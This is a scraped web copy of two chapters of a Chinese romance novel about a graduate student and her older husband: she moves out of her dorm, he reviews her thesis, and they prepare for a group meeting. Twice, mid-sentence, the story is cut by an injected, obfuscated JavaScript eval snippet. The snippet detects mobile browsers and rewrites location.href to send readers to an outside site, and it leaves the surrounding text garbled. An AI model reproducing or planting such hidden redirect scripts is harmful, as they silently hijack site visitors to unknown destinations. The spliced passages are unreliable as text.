钟晏大概没休息好,他声音有点哑,缓声道:“不是的话那样喊?” 尽欢懵懵的:“什么?” 钟晏目光微沉,顿了顿,似在低声琢磨这个词,而后面上带着笑意地看她:“……daddy。” 11. 第 11 章 尽欢从发懵到大惊失色也就两秒时间。 她嘴巴微张,慌张地眨眨眼,回想自己脑子不清醒的时候可能真的说了什么,没办法,她这个人是没有定力的,自己什么死样子自己最知道。 尽欢在想要怎么跟他解释。 这大概算是一种不太见得了光的癖好,会被当做某种异类,尽欢不想才和钟晏成为夫妻就被他这样认为,她绞尽脑汁在想解释的话。 说她做梦梦见她daddy了? 天呐,她那个只贡献了一个精子然后就什么没再管过的父亲,她最多还能尊称他一句“父亲”了,钟晏也知道她的情况,她本身就算得上是一个没有父亲的人,只有姑姑才是她的亲人。 说她其实不是在喊“daddy”? 那还能有什么其他的吗? puppy?baby? 尽欢这思考的样子全落在钟晏眼里,他倒觉得她的反应很可爱,可爱到钟晏低头笑了下,而后他收住这笑意,缓缓道:“是养了什么坏毛病出来了?” 尽欢彻底僵掉。 是呀……这是坏毛病呀……她自己知道的。 她都不敢再看钟晏,心脏里像放了一把跳跳糖,噼里啪啦乱跳,就在她张口要说句“对不起”时,钟晏的声音又传了过来。 “做梦的时候总会说些脆弱的话对不对?”他温声问,语气并没有责怪,“没关系,你心情能好点的话,把我当什么都没关系。” 钟晏并没有介意这个,尽欢听到这话抬头时,正好对上他温和包容的眼神,他一手搭在桌子上,稍稍往后靠,弯起来的眼睛告诉尽欢,他没有生气。 尽欢张了张口,一句“以后也能这么喊吗”差点要脱口而出,但她还是忍不住,到嘴边的话硬生生地咽回去。 她很勉强地笑了下。 钟晏今天还要去公司,昨天意外之后,很多事情等着他处理,他本来就已经耽误很多时间了。 出门前他把药都放在桌子上,嘱咐尽欢按时吃,还跟她说如果今天要出门的话一定注意保暖。 钟晏会尽到他身为丈夫的责任,但也并不会就把她当做什么养在家里事事为她的人,正好今天天气不错,她出去晒晒太阳反而更好。 方尽欢同学看起来很喜欢听他的话。 他说的时候她都认真听,说完了点头答应,钟晏偶尔冲她笑一下,她会很害羞地抿一下嘴唇。 昨晚那点儿的烦闷被他一两句话就轻易抹干净了。 尽欢琢磨,她和钟晏现在最需要的就是熟悉起来,钟先生照顾她,就像照顾孩子一样,尽欢想,她是他妻子又不是女儿,得要跟他再亲近一点。 她吃完早饭后又爬回床上睡了会儿,十点多才醒,这一觉睡得很舒服,醒来后脑袋也没有再一阵阵发胀,尽欢伸了个懒腰,爬起来洗漱,简单收拾了下,然后就准备去学校。 钟晏早吩咐了司机送她,尽欢坐上车,给钟晏发消息,说她现在去学校,到时候要回家了再告诉他。 钟晏这边在开会,手机响了下,他看到是尽欢发来的,拿起来回复:「好。」 尽欢今天主要回宿舍收拾东西。 她宿舍东西不多,一个行李箱就能装下,这里是她的一些主要生活用品,其他的大头还是在家里,比如每到换季的时候都会把宿舍衣服和家里的都清理一遍,宿舍虽然只有她自己住,但地方到底就这么大,装不下很多。 她已经和系里提了申请,要退宿舍,也和谭老师说了她以后不住学校。 就是以后去实验室的话需要她再起早一点了,会不太方便,其余也没什么,只要不耽误学业,住不住学校也没关系。 尽欢很快收拾好,她提着箱子下楼,刚出来不远,就遇上了杜青栩。 见她提着箱子,杜青栩愣了下,问她是不是要出去旅游。 课题小组的实验阶段性收尾,在开启下一阶段的实验前还有一小段时间可以休息,尽欢之前在实验室念叨过好几次想出去玩,杜青栩自然以为她是要去旅游。 尽欢摇摇头,说:“不是,我从宿舍搬出来了。” 杜青栩问:“你回家住?” 尽欢正要否认,想到那里现在是她的家,于是点点头:“是啊,回家住。” 尽欢家在本地,她实验不忙的时候周末也常回家,杜青栩没多想,只提醒她,下周一要开会,她记得准时到。 寒假前最后一次会了,要为下学期做准备,很重要,谭老师说了,谁都不能缺席,也不能迟到。 杜青栩怕尽欢不住宿舍会来不及到,才特意提醒她。 “知道了。”尽欢笑了笑,“我会准时到的。” 杜青栩看了眼她手里的箱子,挺大,看起来也很重,他主动道:“我帮你拿箱子出去吧。” 车进不来学校,出去还有一段路程,上下楼梯不方便的,杜青栩说着,已经伸手过来帮她拿箱子。 杜青栩少有这么热情主动的时候,尽欢都没反应过来,眼看箱子到他手里,她也不好抢过来,只能说了句“谢谢”,然后跟在他身边往校门口走。 杜青栩一米八几的身高,却远比其他同龄人都瘦弱,即使今天有阳光温度也只有几度,他连一件稍微厚一点的外套都没穿,提着箱子下楼,走得却很稳。 从宿舍楼下一直到校门口,杜青栩才把箱子给她,他问:“你车打好了吗?” 尽欢眼睛在盯着前面,她看到钟晏的车已经停在路口,于是笑了下,然后才回答杜青栩的话。 “不用,我家里有人来接。” 她朝杜青栩再次说了句“谢谢”,让他要忙的话就先回去,她也马上就回家了。 尽欢还记得跟他说了要请他吃饭来着,上次因为钟先生她离开了,说好了下次要请,她想了下,就等下周一组会结束后请他去吃个饭,正好也请谭老师一起。 尽欢朝着车走过去。 钟晏正坐在车里等。 说好了来接她就再忙都会来,今天先接她回家再去公司,毕竟生病的孩子需要多照顾一点。 尽欢上车后,钟晏目光缓缓从她面上扫过。 脸色看起来还可以,脸颊看起来是健康的红润,听他的话裹着羽绒服还戴了帽子围巾,进到车里后,她自己把帽子围巾都脱了下来。 司机开始掉头,拐弯过去,钟晏视线从校门口扫过,他顿了下,目光收回,温声问:“同学送你出来的?” 尽欢应了声:“是啊,我一个课题组的同学。” 送出来很久了,看着人上了车还在那里看,倒不是说其他的……钟晏笑了下。 “怎么了?”尽欢好奇地眨眨眼。 “没事。”钟晏并没把这个当一回事,他往座椅后靠,语气淡淡,“回家吧。” 尽欢没想到钟晏会忙到这个地步。 他送她回家之后又去了公司,竟然只是因为昨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457268|185344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天答应了她会来接她,所以抽空来,送她到家之后又去了公司。 钟晏不确定今天要忙到什么时候,说如果他不回来就让她自己先吃晚饭。 他走后,尽欢一个人开始收拾东西。 她开始把衣帽间一点点填满,钟晏留给她的地方有那么大,她的衣服根本装不满,尽欢盯着还剩大半的空间在想,看来这是提醒她该买新衣服了。 明天就去买,一定要把他留给她的地方装满。 还有她的一些小东西,都不是很起眼,就是看起来和这里的房间格格不入,尽欢在思考她应该放哪里才更好。 尽欢边收拾东西边在家里各个地方转悠,晚上到饭点了钟晏还没回来,尽欢也没发消息打扰他,就自己先吃。 钟晏回来的时候已经快十点。 晚上在公司随便吃了点,忙到根本没胃口,他进衣帽间换衣服,看到里面他原本空出来的地方已经差不多被装满了。 女孩子的衣服大多是浅色系,和他的衣服形成完全反差,就像是她送给他那束花的颜色……钟晏淡淡看过去,能想象到她是怎么认真仔细地把自己的东西按照他收纳的方法,分门别类放进去。 钟晏看了一圈,闻到一点女孩子才有的独特的香味。 他换了衣服,见卧室亮着灯,门没关,他推开门,坐在床上的人闻声回头。 她双腿盘坐在床上,穿着自己的睡衣,脚上放着电脑,一眼看过去屏幕上密密麻麻的字——在写论文。 看到钟晏回来,尽欢下意识看了眼屏幕上的时间,才发觉自己一写竟然都到这么晚了,她左右看了看,自己刚刚吃的饼干袋子还放在床头,她赶紧扑过去拿了扔进垃圾桶,手里电脑按了保存合上放一边。 钟晏就站在门口,看她忙手忙脚,他没说话,静静等着她「忙完」。 “钟先生。”尽欢还坐在床上,她喊了一声,赶紧解释说,“没在床上吃,是吃完了才上来的。” 钟晏淡淡点头:“嗯。” 尽欢又指了下自己电脑:“我本来准备睡觉了,想起来还有点没写,就把电脑拿过来了。” 她在宿舍的时候就是这样,有时候要睡觉了突然想起有要写的,就会直接拿电脑过来,床这个东西吧很神奇,坐在上面写东西好像都比待其他地方写得更轻松。 钟晏走过来,没说她,只是问:“在写什么?” “是谭老师之前要我发表的论文。”尽欢想起他和谭老师是朋友,她当然有什么就说,因为她的专业实验周期长,数据产出慢,她写一篇论文需要大量的时间和数据支撑,谭老师对小组的同学没有太严格的要求,但至少在此期间,一篇期刊论文是需要有的。 尽欢都很惭愧自己总是落后,进度跟不上同课题组的同学。 她学习方面的事,钟晏并不会在家里多谈,没有再继续问,只是温声道:“没关系,在哪都可以写。” 顿了顿他叹口气:“小心腿别坐麻了。” 钟晏是办公和休息两件事分得很开,不过他倒也没觉得尽欢这样做是坏习惯,可能是代沟吧。 尽欢还低头看了眼自己的腿,没注意到确实有点微微发麻,她盘着腿往前挪了挪,仰起头问钟晏:“那我不太懂的地方能请教您吗?” 钟晏点头:“当然可以。” 尽欢一喜,正要开口问,钟晏去拿贴身衣物,缓声道:“我先去洗个澡,回来慢慢和你说……好吗?” 12. 第 12 章 浴室传来水声,尽欢盯着门在看。 她今天收拾东西的时候就发现了,钟晏家里真是寡淡得过分,清一色的东西全都和工作有关,家里没有除他之外任何人的痕迹。 尽欢又低头看了看自己。 她不确定她在钟晏这里可以被当做什么,不那么小的年龄差让她在他面前稚嫩得像个孩子,他对她好,是因为他人本身就有这么好。 钟晏从浴室出来时,尽欢正慌张张收回视线,她装作看向门口,然后再转回头,欲盖弥彰地冲着他笑了笑。 她的小动作无一不被他收在眼里,总喜欢偷着看他还要慌不择路地掩饰,她鲜活地像春天里才长出来的花,钟晏眼角弯起一点笑意。 对这样的孩子总容易格外有耐心,钟晏在床边坐下,看向她:“有什么要问我的?” 哦,哦哦哦。 尽欢反应过来她是有正经问题要问的,于是刚刚偷看的心虚就变成了底气,她打开电脑,把自己还没写完的论文给他看。 “谭老师说,我的逻辑链有问题,我自己其实改过一遍了,但这个地方总觉得衔接不上。”尽欢把她为难的地方指给他看,这不是借口,是她真的需要帮助。 谭老师之前看她初稿的时候就跟她说了,在她数据都收集完的情况下,后期的分析更尤为重要,这需要她有足够的书籍阅读量和逻辑分析能力,不巧的是,尽欢两样都不太行。 “我先看看。”钟晏拿过她的电脑。 他一手拿着电脑放在腿上,垂眼看过去,目光沉下时神色认真,一行行看下来。 尽欢坐在他旁边,本来也跟着他的视线在看电脑,目光不自觉就转到他的侧脸。 钟先生做任何事都认真,他思考时眉心会微微皱起来,气息沉稳,从她的角度看过去,他这一点皱起来的眉心反而显得他有点性感。 尽欢暗暗在想。 钟晏认真看了一遍。 她初稿交上去后,听老师和同组人的意见已经修改过两遍,总体没什么大问题,就连小细节她都兼顾到了,而她显然是对自己还有更高要求。 这样的做事态度是很不错的,应该鼓励。 钟晏目光停在那行字上,他说:“这一段话,你是为了证明什么观点?” 没等她回答,钟晏又说:“这个观点和你的中心论点有所出入,看起来融入得很好,但实际你应该想想……这一段,应该在这里吗?” 钟晏转头看向她,然后抛出这个问题。 尽欢看看他,又看向屏幕,她眨眨眼,思索片刻后:“是哦。” “我书房里有几本书,明天找出来给你看。”钟晏说,“那还是我研究生时期看的书了。” 钟晏的专业和她大体相同,却又不完全一样,他毕业之后开始接手家族事业,没有再深耕于自己的专业,不过那些书他都有好好保存。 尽欢听他这么说,了然似地点点头,她从他手里拿过电脑,又连接上下文看了遍他指出来的那一段,忍不住感叹:“还是您厉害。” 他如果当老师,应该会和谭老师一样有所成就,说不定更厉害,是那种她想选都看不上她的导师。 说起谭老师,尽欢好奇问:“您和谭老师是大学同学?” 钟晏点头:“嗯。” 见她低头不说话了,钟晏主动问:“怎么了?” 尽欢摇摇头:“没什么,就是觉得……您和谭老师说的一些话很像。” 同一个老师教出来的,有所相像再正常不过,就像她和杜青栩,都是谭老师的学生,他们的思路也会偶尔撞上,这都是很平常的事。 钟晏不太在意,漫不经心回了句“是吗”。 他伸手按了按太阳穴,眉间有疲态。 昨晚几乎没睡,今天又忙了一整天,纵使钟晏身体素质还不错,这样高强度的忙碌也会心有余而力不足,他低声喊她:“尽欢。” “……我想先睡会儿。” 尽欢往旁边挪,给他让出位置来,他低低喊一声她的名字,喊得她心脏在“怦怦”地跳,手撑着床面有点慌不择路,伸手想去扶他又缩回来,轻声问:“您、您在这睡吗?” 钟晏:“不然呢?” 尽欢把电脑放到床头去,然后还伸手过去帮他把被子掀开,乖巧说:“那您睡吧,我肯定不打扰您。” 钟晏眼睛半闭上,看她连被子都帮他掀开,他眼角余光看到她的动作,然后乖乖挪到一边去,他躺下去,眉间还是不自觉地皱起,累的时候是这样,身体的劳累会反映在脸上,眉头像上了锁一样松不开。 一道轻柔的风从他鼻尖扫过,钟晏嗅觉触觉都很灵敏,他感觉到柔软的手指扫了扫他眉心,轻轻说:“您好好睡哦。” 钟晏这一觉睡得很熟。 他醒来的时候是凌晨三点,房间灯已经关上,只有床头的一盏小灯还开着,床的另一边还躺着人,侧着身体躺在角落里,可能因为太靠边,只有脚这块沾了一点点的被子。 钟晏眼睛微眯起,支起身来,把被子扯过去给她盖上。 床很大,她睡觉只占那一个小角落,一张床睡出了天南地北的距离,被子才落到她身上,人就醒了。 尽欢才睡没一会儿,还没睡熟,她睁开眼看到近在咫尺钟晏的脸,他目光深邃,冷静从容,她睁着眼,第一反应就是定定地看着他。 钟晏声音有些哑:“被子盖好。” 就算房间温度不低,她一个才退烧的人,还是要多注意。 尽欢反驳:“盖好了的呀。” 她又不是小傻子,当然知道盖好被子了,退烧之后喉咙就开始不舒服,这都是感冒的一系列连锁反应,怎么都得三五天才能好得了。 钟晏把被子一角给她掖了掖,垂着眼帘淡淡道:“那是我抢你被子了?” 尽欢身上温度回暖,才慢慢察觉到刚刚被子是真的不在自己身上,可能是太热了她自己睡着觉把被子掀开了,她虽然平常睡觉是很规矩,但偶尔也是有不规矩的时候的,不能污蔑钟先生抢她被子。 尽欢正要解释,钟晏已经躺回去,再次闭上眼睛,声音带着困意。 “下次再这样,你抢回来。” 明知道自己没有,还这样顺着她的话调侃她,钟先生怎么这样…… 尽欢愣了下,埋了脑袋进被子里,捂着脸深吸一口气。 他沉沉的气息还在她耳边,被子上带来的温度仿佛是他的体温,明明知道不是但感官就是在潜意识里这样告诉她……完蛋了,好不容易酝酿了一晚上的睡眠,这下又不知道要酝酿多久。 钟先生怎么连犯困时的呼吸声都像是春药。 尽欢死死拽着被子,简直要完全把自己埋进去,全身的温度都集中到脸上,她心脏还没缓过来,钟晏的声音又从头顶传来。 “尽欢,捂一会儿就行了。” 她听见他在旁边很低的叹气声,尽欢抓着被子,跟着叹气。 怎么办呀……真的睡不着了…… . 周一尽欢要回学校参加组会。 这几天天气还可以,温度虽然还是很低,但外面总有阳光,元旦过了再有不久就是除夕,这应该是她年前最后一次回学校了。 那天杜青栩还特地嘱咐了她不要迟到,尽欢记着,于是一大早就起来了,她照例整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457269|185344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理自己的笔记,赶着时间,把电脑装进包里,然后下楼。 下楼时看到钟晏坐在沙发上看书。 见尽欢下来,他放下手里的书,朝她看过来。 “都收拾好了?”钟晏今天没穿西装,只套了一件大衣,里面是一件薄羊绒衫,他起身,“走吧。” 尽欢笑了下:“您送我去吗?” 钟晏说:“和你一起去。” “可是我去学校啊。”尽欢还跟他解释,“我今天开这学期最后一次组会了。” 钟晏点头:“我知道。” 尽欢突然恍然大悟,几个月前钟晏第一次来听他们汇报的时候,谭老师就说了,钟先生下次有时间还会再来。 谭老师的原话是,多听一听行业内大佬的意见,对他们这些只知道围着实验室转的学生只有好处没有坏处。 难道下次这么快就到了? 尽欢想到这里,脸上肉眼可见地紧张起来,她双手抓紧包,抱着最后一点希望问:“您也参加?” 钟晏:“嗯。” 尽欢足足愣了五六秒,她难以置信,嘴巴能吞进一个鸡蛋,心想她也没听谭老师说钟先生要去呀,而且这几天他也没跟她说过。 看她反应这么大,钟晏笑了声,问:“我去你很有压力?” 他看起来没那么凶,又不会批评她。 “当然会有压力啊。”尽欢理所当然地点头,“您在的话,我就会想做到最好。” 她就是想在钟晏面前做到很好,做到最好,好到能够让她有底气挺直腰板被他夸赞,她真的很需要钟先生多夸一夸她。 钟晏看着她,一听说他要去,紧张得差点呼吸困难,平常看她胆子那么大,一关系到学校的事就开始团团转,他问道:“因为我在才想做到最好?” 尽欢下意识点头,马上又摇摇头:“您不在也会好好做的,但您在的话……” 她的心思那么坦然,每一句话都在叙说同一个意思,钟晏当然看懂了,他只是点头,目光温和看向她:“那就好好加油。” 努力去做了的事,他都能看到。 去学校的路上尽欢手机一直在响,是群里大家在聊天,每次组会之前都是这样,小群大群响个不停,尽欢点开看了眼群消息,才看到谭老师发了公告,说钟先生也会来。 景欣连发了三四个表情包贷款焦虑,她本来以为是最后一次组会想着汇报完了就能回家过年,压根没好好准备,结果现在告诉她钟大佬也会来! 上次的场景还历历在目,他那个人,表面看起来温和,但给人压迫感太强,他往那一坐,哪怕只是冷淡着脸不说话,也在空气里施加了一股无形的压力,让所有人在他面前都下意识当个乖乖听话的三好学生。 本来他们课题组的氛围都挺好的,谭老师人也随和,怎么请到个外援这么可怕。 尽欢看了眼身边的钟晏,低头在群里发:「那也没有很凶。」 消息一发出来,两三个人一起反驳她,根本就不是凶不凶的问题,那是精神压迫的问题。 精神压迫懂不懂! 尽欢一张嘴说不过几张嘴,她闭嘴,不敢说话了。 转眼车已经开到学校门口,尽欢正想问他是不是要一起进去,钟晏让她先走,他还有点事,要去找她谭老师一趟。 他每次来学校好像都会先去找谭老师。 “您找谭老师——”到嘴边的话又停住,尽欢笑了下,把话咽回去,转过话头,“那待会儿见。” 不知道是不是尽欢错觉,好像感觉到钟晏一到学校周身气息就压抑了下来,他眉骨沉着一道阴影,淡淡应了声:“待会见。”